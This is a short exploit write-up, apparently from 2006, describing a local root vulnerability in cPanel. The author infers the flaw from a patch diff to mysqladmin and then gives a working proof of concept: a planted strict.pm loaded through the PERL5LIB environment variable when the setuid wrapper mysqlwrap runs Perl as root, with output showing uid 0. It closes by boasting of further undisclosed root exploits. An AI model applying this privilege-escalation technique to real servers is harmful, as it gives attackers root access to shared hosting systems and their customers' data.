cpexploit.txt

`All cPanel versions which were released before August 23rd are vulnerable to a local root exploit. Exact version numbers are unclear. Doing a "ls -l /usr/local/cpanel/version" is a good way to determine the last time cPanel was updated.  
  
This exploit made the news when it was used to circulate an IE exploit:  
http://it.slashdot.org/article.pl?sid=06/09/23/2218254  
  
It was pretty easy to figure out how the exploit worked once you saw their first attempt at fixing it.  
  
--- /usr/local/cpanel/bin/mysqladmin 2006-08-29 16:54:07.000000000 -0500  
+++ httpupdate.cpanel.net/cpanelsync/EDGE/bin/mysqladmin 2006-09-23 23:51:20.000000000 -0500  
@@ -5,9 +5,14 @@  
# This code is subject to the cpanel license. Unauthorized copying is prohibited  
  
BEGIN {  
- push( @INC, "/usr/local/cpanel" );  
+ unshift( @INC, "/usr/local/cpanel" );  
+ @INC=grep(!/^\./,@INC);  
+ @INC=grep(/^(\/usr\/lib\/perl|\/usr\/local\/lib\/perl|\/usr\/local\/cpanel)/,@INC);  
+  
}  
  
So obviously the exploit involves inserting things into @INC when this script is ran as root. So, how is this script ran as root?  
  
lrwxrwxrwx 1 root root /usr/local/cpanel/bin/mysqlwrap -> cpwrap*  
-rwsr-xr-x 1 root wheel /usr/local/cpanel/bin/cpwrap*  
  
Through the setuid program mysqlwrap of course! So the only quesiton is how to insert things into @INC. There are 2 ways that I could find, a command line argument to perl, or the PERL5LIB environment variable. Obviously, the PERL5LIB environment variable seems like a good bet.  
  
  
[email protected] [~]# cat ~/OMGWTFLOL/strict.pm  
die("my id is $<\n");  
[email protected] [~]# PERL5LIB=/home/domainc/OMGWTFLOL /usr/local/cpanel/bin/mysqlwrap ADDDB  
<b>Database Created</b><br>  
Added the database .  
my id is 0  
Compilation failed in require at /usr/local/cpanel/Cpanel/Version.pm line 8.  
BEGIN failed--compilation aborted at /usr/local/cpanel/Cpanel/Version.pm line 8.Compilation failed in require at /usr/local/cpanel/bin/mysqladmin line 11.  
BEGIN failed--compilation aborted at /usr/local/cpanel/bin/mysqladmin line 11.  
  
  
  
Smart readers will realize that the above patch is a pretty stupid attempt at stopping the exploit. Several hosting companies with hacked servers had to intervene to make sure cPanel fixed it correctly. In new verisons of cPanel, cpwrap now appears to clean out environment variables before executing things. But don't worry, there are several local root exploits all over cPanel waiting to be discovered. I have discovered 2 more on the same day that I discovered how this one works.   
`